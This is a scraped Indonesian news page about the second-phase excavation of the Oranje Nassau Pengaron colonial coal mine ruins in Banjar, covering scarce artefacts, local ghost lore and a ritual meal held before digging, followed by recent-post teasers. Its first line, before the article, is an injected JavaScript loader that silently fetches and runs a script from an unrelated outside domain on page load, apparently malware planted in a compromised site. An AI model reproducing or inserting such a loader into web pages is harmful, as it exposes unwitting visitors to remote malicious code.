(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Historia

Menguak Sejarah di Puing Oranje Nassau Pengaron (3-Habis)


Meski disebut-sebut sebagai tambang batubara pertama milik Belanda di Indonesia, namun tak banyak bukti fisik yang ditemukan saat ekskavasi tahap II dilakukan 2014 silam. Hanya lubang, lorong, susunan bata, reruntuhan tua di bagian yang oleh warga kemudian disebut sebagai sumur putaran, dan sebuah roda lori. Sedangkan besi-besi rel  dan lorinya langlam entah kemana.

“Sebagian besar kemungkinan banyak yang telah diambil warga dan dijual, terutama besi. Bahkan saat penggalian salah satu lubang dijadikan tempat pembuangan sampah oleh warga” kata Nugi.

Selain puing dan penemuan beberapa artefak, yang tersisa di Oranje Nassau adalah tentang berbagai cerita mistis di dalamnya. Kabut mistis itupula yang juga sempat dirasakan tim penggalian.

Bahkan, menurut Nugi, sebelum penggalian, tim sempat menggelar selamatan. Salah seorang tokoh agama setempat menyarankan, untuk menggelar selamatan dan membacakan doa selamat sebelum melakukan penggalian di lorong dua, di kawasan Cagar Budaya Pengaron, atau lebih dikenal dengan sebutan Benteng Oranje Nassau Pengaron, di Kecamatan Pengaron Kabupaten Banjar.

Menurut tokoh agama itu, lorong dua termasuk yang paling angker dan dihuni banyak makhluk tak kasat mata. Selamatan dan pembacaan doa selamat dilakukan sebagai bentuk iktiar agar proses penggalian berjalan lancar dan tak diganggu makhluk alam sebelah penghuni lorong.

Tim ekskavasi gabungan dari Balai Arkeologi Barjarmasin, Balai Penelitian Cagar Budaya (BPCB), Pusat Penelitian  dan Pengembangan Cagar Budaya Nasional, dan Dinas Kebudayaan Pariwisata Pemuda dan Olahraga (Disbudparpora) Kabupaten Banjar mengindahkan masukan dari tokoh agama itu.

Sebelum penggalian lorong dua dilakukan, tim yang juga melibatkan puluhan warga sekitar Pengaron sebagai tenaga lokal (tenlok) penggalian, menggelar selamatan dengan menyediakan lemang ketan sebagai hidangan utamanya. Selamatan ditutup dengan pembacaan doa selamat oleh tokoh agama setempat.


Page: 1 2

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

10 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

12 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

12 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

14 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.